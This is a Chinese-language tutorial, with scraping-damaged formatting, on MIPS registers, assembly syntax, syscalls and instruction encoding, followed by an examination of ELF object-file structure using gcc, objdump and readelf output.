mfhi
( “ 从 Hi 移动 ” )和 mflo
( “ 从 Lo 移动 ” )访问的内容寄存器 | +别名 | +用途 | +
---|---|---|
$0 |
+$zero |
+常量0(constant value 0) | +
$1 |
+$at |
+保留给汇编器(Reserved for assembler) | +
$2-$3 |
+$v0-$v1 |
+函数调用返回值(values for results and expression evaluation) | +
$4-$7 |
+$a0-$a3 |
+函数调用参数(arguments) | +
$8-$15 |
+$t0-$t7 |
+暂时的(或随便用的) | +
$16-$23 |
+$s0-$s7 |
+保存的(或如果用,需要SAVE/RESTORE的)(saved) | +
$24-$25 |
+$t8-$t9 |
+暂时的(或随便用的) | +
$26~$27 |
+$k0~$k1 |
+保留供中断/陷阱处理程序使用 | +
$28 |
+$gp |
+全局指针(Global Pointer) | +
$29 |
+$sp |
+堆栈指针(Stack Pointer) | +
$30 |
+$fp |
+帧指针(Frame Pointer) | +
$31 |
+$ra |
+返回地址(return address) | +
再来说一说这些寄存器 :
+ret = strncmp("bear","bearer",4)
参数少于 16 字节,可以放入寄存器中,在 strncmp 的函数里,a0 存放的是 "bear" 这个字符串所在的只读区地址,a1 是 "bearer" 的地址,a2 是 4.jr x
,X 是一个 MIPS 寄存器,如果存放在前面提到的 t0,s0 等等,那么 PC 跳回任务执行现场时,这个寄存器里的值就不再是异常发生之前的值。所以必须要有时就可以一句 jr k0
指令返回了。 k1 是另外一个专为异常而生的寄存器,它可以用来记录中断嵌套的深度。CPU 在执行任务空间的代码时,k1 就可以置为 0,进入到中断空间,每进入一次就加 1,退出一次相应减 1,这样就可以记录中断嵌套的深度。这个深度在调试问题的时候经常会用到,同时应用程序在做一次事情的时候可能会需要知道当前是在任务还是中断上下文,这时,也可以通过 k1 寄存器是否为 0 来判断。jal function_X
这条指令 jal(jump-and-link,跳转并链接) 指令会将当期执行运行指令的地址 +4 存储到 ra 寄存器里,然后跳转到 function_X 的地址处。相应的,子函数返回时,最常见的一条指令就是 jr ra
ra 是一个对于调试很有用的寄存器,系统的运行的任何时刻都可以查看它的值以获取 CPU 的运行轨迹。最后,如果纯写汇编语句的话,这些寄存器当中除了 zero 之外,其它的基本上都可以做普通寄存器存取数据使用(这也是它们为什么会定义为“通用寄存器”,而不像其它的协处理器、或者外设的都是专用寄存器,其在出厂时所有的功能都是定死的),那为什么有这么多规则呢 ?MIPS 开发者们为了让自己的处理器可以运行像 C、Java 这样的高级语言,以及让汇编语言和高级语言可以安全的混合编程而设计的一套 ABI(应用编程接口),不同的编译器的设计者们就会有据可依,系统程序员们在阅读、修改汇编程序的时候也能根据这些约定而更为顺畅地理解汇编代码的含义。
+.data
为标识.text
标识的文本部分中main
代码执行的起点 ( 和 C 语言一样 )# 后面的任何内容都会被视为注释
+#给出程序名称和功能描述的注释
+#Template.s
+#MIPS汇编语言程序的Bare-bones概述
+
+ .data #变量声明遵循这一行
+ #...
+ .text#指令跟随这一行
+
+ main:#表示代码的开始(执行的第一条指令)
+ #...
+
+#程序结束,之后留空,让SPIM满意.
+
+声明格式:
+name:storage_type value(s)
+
+使用给定名称和指定值为指定类型的变量创建空间
+value (s) 通常给出初始值; 对于.space,给出要分配的空格数
+注意:标签后面跟冒号(:)
+var1:.word 3 #创建一个初始值为 3 的整数变量
+array1:.byte'a','b' #创建一个元素初始化的 2 元素字符数组到 a 和 b
+
+array2:.space 40 #分配 40 个连续字节, 未初始化的空间可以用作 40 个元素的字符数组, 或者是
+ #10 个元素的整数数组.
+
+load
或者 store
)load
:
lw register_destination,RAM_source
+#将源内存地址的字 ( 4 个字节 ) 复制到目标寄存器,(lw中的'w'意为'word',即该数据大小为4个字节)
+lb register_destination,RAM_source
+#将源内存地址的字节复制到目标寄存器的低位字节, 并将符号映射到高位字节 ( 同上, lb 意为 load byte )
+
+store
:
sw register_source,RAM_destination
+#将源寄存器的字存储到目标内存RAM中
+sb register_source,RAM_destination
+#将源寄存器中的低位字节存储到目标内存RAM中
+
+立即加载:
+li register_destination,value
+#把立即值加载到目标寄存器中,顾名思义, 这里的 li 意为 load immediate, 即立即加载.
+
+ .data
+var1: .word 23 # 给变量 var1 在内存中开辟空间, 变量初始值为 23
+
+ .text
+__start:
+ lw $t0, var1 # 将内存单元中的内容加载到寄存器中 $t0: $t0 = var1
+ li $t1, 5 # $t1 = 5 ("立即加载")
+ sw $t1, var1 # 把寄存器$t1的内容存到内存中 : var1 = $t1
+ done
+
+*直接给地址:*
+ la $t0,var1
+
+$t0
中*间接寻址, 地址是寄存器的内容, 类似指针:*
+ lw $t2,($t0)
+
+$t0
中包含的 RAM 地址加载到 $t2
sw $t2,($t0)
+
+$t2
寄存器中的字存储到 $t0
中包含的地址的 RAM 中*基于偏移量的寻址:*
+ lw $t2, 4($t0)
+
+$t0 + 4
) 的字加载到寄存器 $t2
中$t0
中地址的偏移量 sw $t2,-12($t0)
+
+将寄存器 $t2
中的字放到内存地址( $t0 - 12
)
负偏移也是可以的, 反向漂移方不方 ?
+注意:基于偏移量 的寻址特别适用于:
+数组; 访问元素作为与基址的偏移量
+栈; 易于访问偏离栈指针或帧指针的元素
+例子
+ .data
+ array1: .space 12 # 定义一个 12字节 长度的数组 array1, 容纳 3个整型
+ .text
+ __start: la $t0, array1 # 让 $t0 = 数组首地址
+ li $t1, 5 # $t1 = 5 ("load immediate")
+ sw $t1, ($t0) # 数组第一个元素设置为 5; 用的间接寻址; array[0] = $1 = 5
+ li $t1, 13 # $t1 = 13
+ sw $t1, 4($t0) # 数组第二个元素设置为 13; array[1] = $1 = 13
+ #该数组中每个元素地址相距长度就是自身数据类型长度,即4字节, 所以对于array+4就是array[1]
+ li $t1, -7 # $t1 = -7
+ sw $t1, 8($t0) # 第三个元素设置为 -7;
+#array+8 = (address[array[0])+4)+ 4 = address(array[1]) + 4 = address(array[2])
+ done
+
+add $t0,$t1,$t2 # $t0 = $t1 + $t2;添加为带符号(2 的补码)整数
+sub $t2,$t3,$t4 # $t2 = $t3 Ð $t4
+addi $t2,$t3, 5 # $t2 = $t3 + 5;
+addu $t1,$t6,$t7 # $t1 = $t6 + $t7;跟无符号数那样相加
+subu $t1,$t6,$t7 # $t1 = $t6 - $t7;跟无符号数那样相减
+
+mult $t3,$t4 # 运算结果存储在hi,lo(hi高位数据, lo地位数据)
+div $t5,$t6 # Lo = $t5 / $t6 (整数商)
+ # Hi = $t5 mod $t6 (求余数)
+ #商数存放在 lo, 余数存放在 hi
+mfhi $t0 # 把特殊寄存器 Hi 的值移动到 $t0 : $t0 = Hi
+mflo $t1 # 把特殊寄存器 Lo 的值移动到 $t1: $t1 = Lo
+#不能直接获取 hi 或 lo中的值, 需要mfhi, mflo指令传值给寄存器
+
+move $t2,$t3 # $t2 = $t3
+
+分支 ( if-else )
+ b target #无条件分支,直接到程序标签目标
+ beq $t0, $t1, target #if $t0 = $ t1, 就跳到目标
+ blt $t0, $t1, target #if $t0 <$ t1, 就跳到目标
+ ble $t0, $t1, target #if $t0 <= $ t1, 就跳到目标
+ bgt $t0, $t1, target #if $t0 $ t1, 就跳到目标
+ bge $t0, $t1, target #if $t0 = $ t1, 就跳到目标
+ bne $t0, $t1, target #if $t0 < $t1, 就跳到目标
+
+跳转 ( while, for, goto )
+ j target #看到就跳, 不用考虑任何条件
+ jr $t3 #类似相对寻址,跳到该寄存器给出的地址处
+
+子程序调用
+子程序调用:“ 跳转和链接 ” 指令
+ jal sub_label #“跳转和链接”
+
+将当前的程序计数器保存到 $ra
中
跳转到 sub_label
的程序语句
子程序返回:“跳转寄存器”指令
+ jr $ra #“跳转寄存器”
+
+注意:寄存地址存储在寄存器 $ra
中; 如果子例程将调用其他子例程,或者是递归的,则返回地址应该从 $ra
复制到栈以保留它,因为 jal
总是将返回地址放在该寄存器中,因此将覆盖之前的值
通过系统调用实现从输入/输出窗口读取或打印值或字符串,并指示程序结束
+syscall
首先在寄存器 $v0
和 $a0 - $a1
中提供适当的值
寄存器 $v0
中存储返回的结果值( 如果有的话 )
下表列出了可能的 系统调用 服务。
+Service 服务 | +Code in $v0 对应功能的调用码 |
+Arguments 所需参数 | +Results 返回值 | +
---|---|---|---|
print 一个整型数 | +$v0 = 1 |
+$a0 = 要打印的整型数 |
++ |
print 一个浮点数 | +$v0 = 2 |
+$f12 = 要打印的浮点数 |
++ |
print 双精度数 | +$v0 = 3 |
+$f12 = 要打印的双精度数 |
++ |
print 字符串 | +$v0 = 4 |
+$a0 = 要打印的字符串的地址 |
++ |
读取 ( read ) 整型数 | +$v0 = 5 |
++ | $v0 = 读取的整型数 |
+
读取 ( read ) 浮点数 | +$v0 = 6 |
++ | $v0 = 读取的浮点数 |
+
读取 ( read ) 双精度数 | +$v0 = 7 |
++ | $v0 = 读取的双精度 |
+
读取 ( read ) 字符串 | +$v0 = 8 |
+将读取的字符串地址赋值给 $a0 ; 将读取的字符串长度赋值给 $a1 |
++ |
这个应该和 C 语言的 sbrk() 函数一样 |
+$v0 = 9 |
+需要分配的空间大小(单位目测是字节 bytes) | +将分配好的空间首地址给 $v0 |
+
exit | +$v0 =10 |
+这个还要说吗.....= _ = | ++ |
print_string
即 print 字符串
服务期望启动以 null 结尾的字符串。指令.asciiz
创建一个以 null 结尾的字符串。read_int
,read_float
和 read_double
服务读取整行输入,包括换行符\n
。
read_string
服务与 UNIX 库例程 fgets 具有相同的语义。
+sbrk
服务将地址返回到包含 n 个附加字节的内存块。这将用于动态内存分配。
退出服务使程序停止运行
+例子 : 打印一个存储在 $2 的整型数
+ li $v0, 1 #声明需要调用的操作代码为 1 ( print_int ), 然后赋值给 $v0
+ move $a0, $t2 #把这个要打印的整型数赋值给 $a0
+ syscall #让操作系统执行我们的操作
+
+masm
+ li $v0, 5 #声明需要调用的操作代码为 5 ( read_int ), 然后赋值给 $v0
+ syscall #让操作系统执行我们的操作, 然后 $v0 = 5
+ sw $v0, int_value #通过写入(store_word)指令 将 $v0 的值(5)存入内存中
.data
+ string1 .asciiz "Print this.\n" # 字符串变量声明
+ # .asciiz 指令使字符串 null 终止
+
+ .text
+ main: li $v0, 4 # 将适当的系统调用代码加载到寄存器 $v0 中
+ # 打印字符串, 赋值对应的操作代码 $v0 = 4
+ la $a0, string1 # 将要打印的字符串地址赋值 $a0 = address(string1)
+ syscall # 让操作系统执行打印操作
+
+
+ 要指示程序结束, 应该退出系统调用, 所以最后一行代码应该是这个 :
+ li $v0, 10 #对着上面的表, 不用说了吧
+ syscall # 让操作系统结束这一切吧 !
+
+6 | +5 | +5 | +5 | +5 | +6 | +
---|---|---|---|---|---|
op | +rs | +rt | +rd | +shamt | +funct | +
用处: 寄存器 - 寄存器 ALU 操作 读写专用寄存器
+6 | +5 | +5 | +16 | +
---|---|---|---|
op | +rs | +rt | +立即数操作 | +
用处: 加载/存储 字节,半字,字,双字 条件分支,跳转,跳转并链接寄存器
+6 | +26 | +
---|---|
op | +跳转地址 | +
用处: 跳转,跳转并链接 陷阱和从异常中返回
+各字段含义: op : 指令基本操作,称为操作码。 rs : 第一个源操作数寄存器。 rt : 第二个源操作数寄存器。 rd : 存放操作结果的目的操作数。 shamt : 位移量; funct : 函数,这个字段选择 op 操作的某个特定变体。
+例:
+add $t0,$s0,$s1
+
+表示$t0=$s0+$s1
,即 16 号寄存器( s0 ) 的内容和 17 号寄存器 ( s1 ) 的内容相加,结果放到 8 号寄存器 ( t0 )。 指令各字段的十进制表示为:
0 | +16 | +17 | +8 | +0 | +32 | +
---|---|---|---|---|---|
+ | + | + | + | + | + |
op = 0 和 funct = 32 表示这是加法, 16 = $s0
表示第一个源操作数 ( rs ) 在 16 号寄存器里,
17 = $s1
表示第二个源操作数 ( rt ) 在 17 号寄存器里, 8 = $t0
表示目的操作数 ( rd ) 在 8 号寄存器里。 把各字段写成二进制,为:
000000 | +10000 | +10001 | +01000 | +00000 | +100000 | +
---|---|---|---|---|---|
+ | + | + | + | + | + |
这就是上述指令的机器码( machine code ), 可以看出是很有规则性的。
+lb/lh/lw : 从存储器中读取一个 byte / half word / word 的数据到寄存器中.
+如lb $1, 0($2)
sb/sh/sw : 把一个 byte / half word / word 的数据从寄存器存储到存储器中.
如 sb $1, 0($2)
add/addu : 把两个定点寄存器的内容相加
add $1,$2,$3($1=$2+$3)
; u 为不带符号加
addi/addiu : 把一个寄存器的内容加上一个立即数
+add $1,$2,#3($1=$2+3)
; u 为不带符号加 sub/subu :把两个定点寄存器的内容相减 div/divu : 两个定点寄存器的内容相除 mul/mulu : 两个定点寄存器的内容相乘 and/andi : 与运算,两个寄存器中的内容相与
and $1,$2,$3($1=$2 & $3)
;i为立即数。 or/ori : 或运算。 xor/xori : 异或运算。 beq/beqz/benz/bne : 条件转移 eq 相等,z 零,ne 不等 j/jr/jal/jalr : j 直接跳转;jr 使用寄存器跳转 lui : 把一个 16 位的立即数填入到寄存器的高 16 位,低 16 位补零 sll/srl : 逻辑 左移 / 右移
sll $1,$2,#2
slt/slti/sltui : 如果 $2
的值小于 $3
,那么设置 $1
的值为 1,否则设置 $1
的值为 0
slt $1,$2,$3
mov/movz/movn : 复制,n 为负,z 为零
mov $1,$2; movz $1,$2,$3
( $3
为零则复制 $2
到 $1
) trap : 根据地址向量转入管态 eret : 从异常中返回到用户态
在 1.5.1节 C语言基础 中我们看到了从源代码到可执行文件的全过程,现在我们来看一个更复杂的例子。
+#include<stdio.h>
+
+int global_init_var = 10;
+int global_uninit_var;
+
+void func(int sum) {
+ printf("%d\n", sum);
+}
+
+void main(void) {
+ static int local_static_init_var = 20;
+ static int local_static_uninit_var;
+
+ int local_init_val = 30;
+ int local_uninit_var;
+
+ func(global_init_var + local_init_val +
+ local_static_init_var );
+}
+
+然后分别执行下列命令生成三个文件:
+gcc -m32 -c elfDemo.c -o elfDemo.o
+
+gcc -m32 elfDemo.c -o elfDemo.out
+
+gcc -m32 -static elfDemo.c -o elfDemo_static.out
+
+使用 ldd 命令打印所依赖的共享库:
+$ ldd elfDemo.out
+ linux-gate.so.1 (0xf77b1000)
+ libc.so.6 => /usr/lib32/libc.so.6 (0xf7597000)
+ /lib/ld-linux.so.2 => /usr/lib/ld-linux.so.2 (0xf77b3000)
+$ ldd elfDemo_static.out
+ not a dynamic executable
+
+elfDemo_static.out 采用了静态链接的方式。
+使用 file 命令查看相应的文件格式:
+$ file elfDemo.o
+elfDemo.o: ELF 32-bit LSB relocatable, Intel 80386, version 1 (SYSV), not stripped
+
+$ file elfDemo.out
+elfDemo.out: ELF 32-bit LSB shared object, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 3.2.0, BuildID[sha1]=50036015393a99344897cbf34099256c3793e172, not stripped
+
+$ file elfDemo_static.out
+elfDemo_static.out: ELF 32-bit LSB executable, Intel 80386, version 1 (GNU/Linux), statically linked, for GNU/Linux 3.2.0, BuildID[sha1]=276c839c20b4c187e4b486cf96d82a90c40f4dae, not stripped
+
+$ file -L /usr/lib32/libc.so.6
+/usr/lib32/libc.so.6: ELF 32-bit LSB shared object, Intel 80386, version 1 (GNU/Linux), dynamically linked, interpreter /usr/lib32/ld-linux.so.2, BuildID[sha1]=ee88d1b2aa81f104ab5645d407e190b244203a52, for GNU/Linux 3.2.0, not stripped
+
+于是我们得到了 Linux 可执行文件格式 ELF (Executable Linkable Format)文件的三种类型:
+libc-2.25.so
此时他们的结构如图:
+ +可以看到,在这个简化的 ELF 文件中,开头是一个“文件头”,之后分别是代码段、数据段和.bss段。程序源代码编译后,执行语句变成机器指令,保存在.text
段;已初始化的全局变量和局部静态变量都保存在.data
段;未初始化的全局变量和局部静态变量则放在.bss
段。
把程序指令和程序数据分开存放有许多好处,从安全的角度讲,当程序被加载后,数据和指令分别被映射到两个虚拟区域。由于数据区域对于进程来说是可读写的,而指令区域对于进程来说是只读的,所以这两个虚存区域的权限可以被分别设置成可读写和只读,可以防止程序的指令被改写和利用。
+接下来,我们更深入地探索目标文件,使用 objdump 来查看目标文件的内部结构:
+$ objdump -h elfDemo.o
+
+elfDemo.o: file format elf32-i386
+
+Sections:
+Idx Name Size VMA LMA File off Algn
+ 0 .group 00000008 00000000 00000000 00000034 2**2
+ CONTENTS, READONLY, GROUP, LINK_ONCE_DISCARD
+ 1 .text 00000078 00000000 00000000 0000003c 2**0
+ CONTENTS, ALLOC, LOAD, RELOC, READONLY, CODE
+ 2 .data 00000008 00000000 00000000 000000b4 2**2
+ CONTENTS, ALLOC, LOAD, DATA
+ 3 .bss 00000004 00000000 00000000 000000bc 2**2
+ ALLOC
+ 4 .rodata 00000004 00000000 00000000 000000bc 2**0
+ CONTENTS, ALLOC, LOAD, READONLY, DATA
+ 5 .text.__x86.get_pc_thunk.ax 00000004 00000000 00000000 000000c0 2**0
+ CONTENTS, ALLOC, LOAD, READONLY, CODE
+ 6 .comment 00000012 00000000 00000000 000000c4 2**0
+ CONTENTS, READONLY
+ 7 .note.GNU-stack 00000000 00000000 00000000 000000d6 2**0
+ CONTENTS, READONLY
+ 8 .eh_frame 0000007c 00000000 00000000 000000d8 2**2
+ CONTENTS, ALLOC, LOAD, RELOC, READONLY, DATA
+
+可以看到目标文件中除了最基本的代码段、数据段和 BSS 段以外,还有一些别的段。注意到 .bss 段没有 CONTENTS
属性,表示它实际上并不存在,.bss 段只是为为未初始化的全局变量和局部静态变量预留了位置而已。
$ objdump -x -s -d elfDemo.o
+......
+Sections:
+Idx Name Size VMA LMA File off Algn
+
+......
+
+ 1 .text 00000078 00000000 00000000 0000003c 2**0
+ CONTENTS, ALLOC, LOAD, RELOC, READONLY, CODE
+......
+Contents of section .text:
+ 0000 5589e553 83ec04e8 fcffffff 05010000 U..S............
+ 0010 0083ec08 ff75088d 90000000 005289c3 .....u.......R..
+ 0020 e8fcffff ff83c410 908b5dfc c9c38d4c ..........]....L
+ 0030 240483e4 f0ff71fc 5589e551 83ec14e8 $.....q.U..Q....
+ 0040 fcffffff 05010000 00c745f4 1e000000 ..........E.....
+ 0050 8b880000 00008b55 f401ca8b 80040000 .......U........
+ 0060 0001d083 ec0c50e8 fcffffff 83c41090 ......P.........
+ 0070 8b4dfcc9 8d61fcc3 .M...a..
+......
+Disassembly of section .text:
+
+00000000 <func>:
+ 0: 55 push %ebp
+ 1: 89 e5 mov %esp,%ebp
+ 3: 53 push %ebx
+ 4: 83 ec 04 sub $0x4,%esp
+ 7: e8 fc ff ff ff call 8 <func+0x8>
+ 8: R_386_PC32 __x86.get_pc_thunk.ax
+ c: 05 01 00 00 00 add $0x1,%eax
+ d: R_386_GOTPC _GLOBAL_OFFSET_TABLE_
+ 11: 83 ec 08 sub $0x8,%esp
+ 14: ff 75 08 pushl 0x8(%ebp)
+ 17: 8d 90 00 00 00 00 lea 0x0(%eax),%edx
+ 19: R_386_GOTOFF .rodata
+ 1d: 52 push %edx
+ 1e: 89 c3 mov %eax,%ebx
+ 20: e8 fc ff ff ff call 21 <func+0x21>
+ 21: R_386_PLT32 printf
+ 25: 83 c4 10 add $0x10,%esp
+ 28: 90 nop
+ 29: 8b 5d fc mov -0x4(%ebp),%ebx
+ 2c: c9 leave
+ 2d: c3 ret
+
+0000002e <main>:
+ 2e: 8d 4c 24 04 lea 0x4(%esp),%ecx
+ 32: 83 e4 f0 and $0xfffffff0,%esp
+ 35: ff 71 fc pushl -0x4(%ecx)
+ 38: 55 push %ebp
+ 39: 89 e5 mov %esp,%ebp
+ 3b: 51 push %ecx
+ 3c: 83 ec 14 sub $0x14,%esp
+ 3f: e8 fc ff ff ff call 40 <main+0x12>
+ 40: R_386_PC32 __x86.get_pc_thunk.ax
+ 44: 05 01 00 00 00 add $0x1,%eax
+ 45: R_386_GOTPC _GLOBAL_OFFSET_TABLE_
+ 49: c7 45 f4 1e 00 00 00 movl $0x1e,-0xc(%ebp)
+ 50: 8b 88 00 00 00 00 mov 0x0(%eax),%ecx
+ 52: R_386_GOTOFF global_init_var
+ 56: 8b 55 f4 mov -0xc(%ebp),%edx
+ 59: 01 ca add %ecx,%edx
+ 5b: 8b 80 04 00 00 00 mov 0x4(%eax),%eax
+ 5d: R_386_GOTOFF .data
+ 61: 01 d0 add %edx,%eax
+ 63: 83 ec 0c sub $0xc,%esp
+ 66: 50 push %eax
+ 67: e8 fc ff ff ff call 68 <main+0x3a>
+ 68: R_386_PC32 func
+ 6c: 83 c4 10 add $0x10,%esp
+ 6f: 90 nop
+ 70: 8b 4d fc mov -0x4(%ebp),%ecx
+ 73: c9 leave
+ 74: 8d 61 fc lea -0x4(%ecx),%esp
+ 77: c3 ret
+
+Contents of section .text
是 .text
的数据的十六进制形式,总共 0x78 个字节,最左边一列是偏移量,中间 4 列是内容,最右边一列是 ASCII 码形式。下面的 Disassembly of section .text
是反汇编结果。
......
+Sections:
+Idx Name Size VMA LMA File off Algn
+ 2 .data 00000008 00000000 00000000 000000b4 2**2
+ CONTENTS, ALLOC, LOAD, DATA
+ 4 .rodata 00000004 00000000 00000000 000000bc 2**0
+ CONTENTS, ALLOC, LOAD, READONLY, DATA
+......
+Contents of section .data:
+ 0000 0a000000 14000000 ........
+Contents of section .rodata:
+ 0000 25640a00 %d..
+.......
+
+.data
段保存已经初始化了的全局变量和局部静态变量。elfDemo.c
中共有两个这样的变量,global_init_var
和 local_static_init_var
,每个变量 4 个字节,一共 8 个字节。由于小端序的原因,0a000000
表示 global_init_var
值(10
)的十六进制 0x0a
,14000000
表示 local_static_init_var
值(20
)的十六进制 0x14
。
.rodata
段保存只读数据,包括只读变量和字符串常量。elfDemo.c
中调用 printf
的时候,用到了一个字符串变量 %d\n
,它是一种只读数据,保存在 .rodata
段中,可以从输出结果看到字符串常量的 ASCII 形式,以 \0
结尾。
Sections:
+Idx Name Size VMA LMA File off Algn
+ 3 .bss 00000004 00000000 00000000 000000bc 2**2
+ ALLOC
+
+.bss
段保存未初始化的全局变量和局部静态变量。
对象文件参与程序链接(构建程序)和程序执行(运行程序)。ELF 结构几相关信息在 /usr/include/elf.h
文件中。
名称 | +长度 | +对其 | +描述 | +原始类型 | +
---|---|---|---|---|
Elf32_Addr | +4 | +4 | +无符号程序地址 | +uint32_t | +
Elf32_Half | +2 | +2 | +无符号短整型 | +uint16_t | +
Elf32_Off | +4 | +4 | +无符号偏移地址 | +uint32_t | +
Elf32_Sword | +4 | +4 | +有符号整型 | +int32_t | +
Elf32_Word | +4 | +4 | +无符号整型 | +uint32_t | +
ELF 文件头必然存在于 ELF 文件的开头,表明这是一个 ELF 文件。定义如下:
+typedef struct
+{
+ unsigned char e_ident[EI_NIDENT]; /* Magic number and other info */
+ Elf32_Half e_type; /* Object file type */
+ Elf32_Half e_machine; /* Architecture */
+ Elf32_Word e_version; /* Object file version */
+ Elf32_Addr e_entry; /* Entry point virtual address */
+ Elf32_Off e_phoff; /* Program header table file offset */
+ Elf32_Off e_shoff; /* Section header table file offset */
+ Elf32_Word e_flags; /* Processor-specific flags */
+ Elf32_Half e_ehsize; /* ELF header size in bytes */
+ Elf32_Half e_phentsize; /* Program header table entry size */
+ Elf32_Half e_phnum; /* Program header table entry count */
+ Elf32_Half e_shentsize; /* Section header table entry size */
+ Elf32_Half e_shnum; /* Section header table entry count */
+ Elf32_Half e_shstrndx; /* Section header string table index */
+} Elf32_Ehdr;
+
+typedef struct
+{
+ unsigned char e_ident[EI_NIDENT]; /* Magic number and other info */
+ Elf64_Half e_type; /* Object file type */
+ Elf64_Half e_machine; /* Architecture */
+ Elf64_Word e_version; /* Object file version */
+ Elf64_Addr e_entry; /* Entry point virtual address */
+ Elf64_Off e_phoff; /* Program header table file offset */
+ Elf64_Off e_shoff; /* Section header table file offset */
+ Elf64_Word e_flags; /* Processor-specific flags */
+ Elf64_Half e_ehsize; /* ELF header size in bytes */
+ Elf64_Half e_phentsize; /* Program header table entry size */
+ Elf64_Half e_phnum; /* Program header table entry count */
+ Elf64_Half e_shentsize; /* Section header table entry size */
+ Elf64_Half e_shnum; /* Section header table entry count */
+ Elf64_Half e_shstrndx; /* Section header string table index */
+} Elf64_Ehdr;
+
+e_ident
保存着 ELF 的幻数和其他信息,最前面四个字节是幻数,用字符串表示为 \177ELF
,其后的字节如果是 32 位则是 ELFCLASS32 (1),如果是 64 位则是 ELFCLASS64 (2),再其后的字节表示端序,小端序为 ELFDATA2LSB (1),大端序为 ELFDATA2LSB (2)。最后一个字节则表示 ELF 的版本。
现在我们使用 readelf 命令来查看 elfDome.out 的文件头:
+$ readelf -h elfDemo.out
+ELF Header:
+ Magic: 7f 45 4c 46 01 01 01 00 00 00 00 00 00 00 00 00
+ Class: ELF32
+ Data: 2's complement, little endian
+ Version: 1 (current)
+ OS/ABI: UNIX - System V
+ ABI Version: 0
+ Type: DYN (Shared object file)
+ Machine: Intel 80386
+ Version: 0x1
+ Entry point address: 0x3e0
+ Start of program headers: 52 (bytes into file)
+ Start of section headers: 6288 (bytes into file)
+ Flags: 0x0
+ Size of this header: 52 (bytes)
+ Size of program headers: 32 (bytes)
+ Number of program headers: 9
+ Size of section headers: 40 (bytes)
+ Number of section headers: 30
+ Section header string table index: 29
+
+程序头表是由 ELF 头的 e_phoff
指定的偏移量和 e_phentsize
、e_phnum
共同确定大小的表格组成。e_phentsize
表示表格中程序头的大小,e_phnum
表示表格中程序头的数量。
程序头的定义如下:
+typedef struct
+{
+ Elf32_Word p_type; /* Segment type */
+ Elf32_Off p_offset; /* Segment file offset */
+ Elf32_Addr p_vaddr; /* Segment virtual address */
+ Elf32_Addr p_paddr; /* Segment physical address */
+ Elf32_Word p_filesz; /* Segment size in file */
+ Elf32_Word p_memsz; /* Segment size in memory */
+ Elf32_Word p_flags; /* Segment flags */
+ Elf32_Word p_align; /* Segment alignment */
+} Elf32_Phdr;
+
+typedef struct
+{
+ Elf64_Word p_type; /* Segment type */
+ Elf64_Word p_flags; /* Segment flags */
+ Elf64_Off p_offset; /* Segment file offset */
+ Elf64_Addr p_vaddr; /* Segment virtual address */
+ Elf64_Addr p_paddr; /* Segment physical address */
+ Elf64_Xword p_filesz; /* Segment size in file */
+ Elf64_Xword p_memsz; /* Segment size in memory */
+ Elf64_Xword p_align; /* Segment alignment */
+} Elf64_Phdr;
+
+使用 readelf 来查看程序头:
+$ readelf -l elfDemo.out
+
+Elf file type is DYN (Shared object file)
+Entry point 0x3e0
+There are 9 program headers, starting at offset 52
+
+Program Headers:
+ Type Offset VirtAddr PhysAddr FileSiz MemSiz Flg Align
+ PHDR 0x000034 0x00000034 0x00000034 0x00120 0x00120 R E 0x4
+ INTERP 0x000154 0x00000154 0x00000154 0x00013 0x00013 R 0x1
+ [Requesting program interpreter: /lib/ld-linux.so.2]
+ LOAD 0x000000 0x00000000 0x00000000 0x00780 0x00780 R E 0x1000
+ LOAD 0x000ef4 0x00001ef4 0x00001ef4 0x00130 0x0013c RW 0x1000
+ DYNAMIC 0x000efc 0x00001efc 0x00001efc 0x000f0 0x000f0 RW 0x4
+ NOTE 0x000168 0x00000168 0x00000168 0x00044 0x00044 R 0x4
+ GNU_EH_FRAME 0x000624 0x00000624 0x00000624 0x00044 0x00044 R 0x4
+ GNU_STACK 0x000000 0x00000000 0x00000000 0x00000 0x00000 RW 0x10
+ GNU_RELRO 0x000ef4 0x00001ef4 0x00001ef4 0x0010c 0x0010c R 0x1
+
+ Section to Segment mapping:
+ Segment Sections...
+ 00
+ 01 .interp
+ 02 .interp .note.ABI-tag .note.gnu.build-id .gnu.hash .dynsym .dynstr .gnu.version .gnu.version_r .rel.dyn .rel.plt .init .plt .plt.got .text .fini .rodata .eh_frame_hdr .eh_frame
+ 03 .init_array .fini_array .dynamic .got .got.plt .data .bss
+ 04 .dynamic
+ 05 .note.ABI-tag .note.gnu.build-id
+ 06 .eh_frame_hdr
+ 07
+ 08 .init_array .fini_array .dynamic .got
+
+段表(Section Header Table)是一个以 Elf32_Shdr
结构体为元素的数组,每个结构体对应一个段,它描述了各个段的信息。ELF 文件头的 e_shoff
成员给出了段表在 ELF 中的偏移,e_shnum
成员给出了段描述符的数量,e_shentsize
给出了每个段描述符的大小。
typedef struct
+{
+ Elf32_Word sh_name; /* Section name (string tbl index) */
+ Elf32_Word sh_type; /* Section type */
+ Elf32_Word sh_flags; /* Section flags */
+ Elf32_Addr sh_addr; /* Section virtual addr at execution */
+ Elf32_Off sh_offset; /* Section file offset */
+ Elf32_Word sh_size; /* Section size in bytes */
+ Elf32_Word sh_link; /* Link to another section */
+ Elf32_Word sh_info; /* Additional section information */
+ Elf32_Word sh_addralign; /* Section alignment */
+ Elf32_Word sh_entsize; /* Entry size if section holds table */
+} Elf32_Shdr;
+
+typedef struct
+{
+ Elf64_Word sh_name; /* Section name (string tbl index) */
+ Elf64_Word sh_type; /* Section type */
+ Elf64_Xword sh_flags; /* Section flags */
+ Elf64_Addr sh_addr; /* Section virtual addr at execution */
+ Elf64_Off sh_offset; /* Section file offset */
+ Elf64_Xword sh_size; /* Section size in bytes */
+ Elf64_Word sh_link; /* Link to another section */
+ Elf64_Word sh_info; /* Additional section information */
+ Elf64_Xword sh_addralign; /* Section alignment */
+ Elf64_Xword sh_entsize; /* Entry size if section holds table */
+} Elf64_Shdr;
+
+使用 readelf 命令查看目标文件中完整的段:
+$ readelf -S elfDemo.o
+There are 15 section headers, starting at offset 0x41c:
+
+Section Headers:
+ [Nr] Name Type Addr Off Size ES Flg Lk Inf Al
+ [ 0] NULL 00000000 000000 000000 00 0 0 0
+ [ 1] .group GROUP 00000000 000034 000008 04 12 16 4
+ [ 2] .text PROGBITS 00000000 00003c 000078 00 AX 0 0 1
+ [ 3] .rel.text REL 00000000 000338 000048 08 I 12 2 4
+ [ 4] .data PROGBITS 00000000 0000b4 000008 00 WA 0 0 4
+ [ 5] .bss NOBITS 00000000 0000bc 000004 00 WA 0 0 4
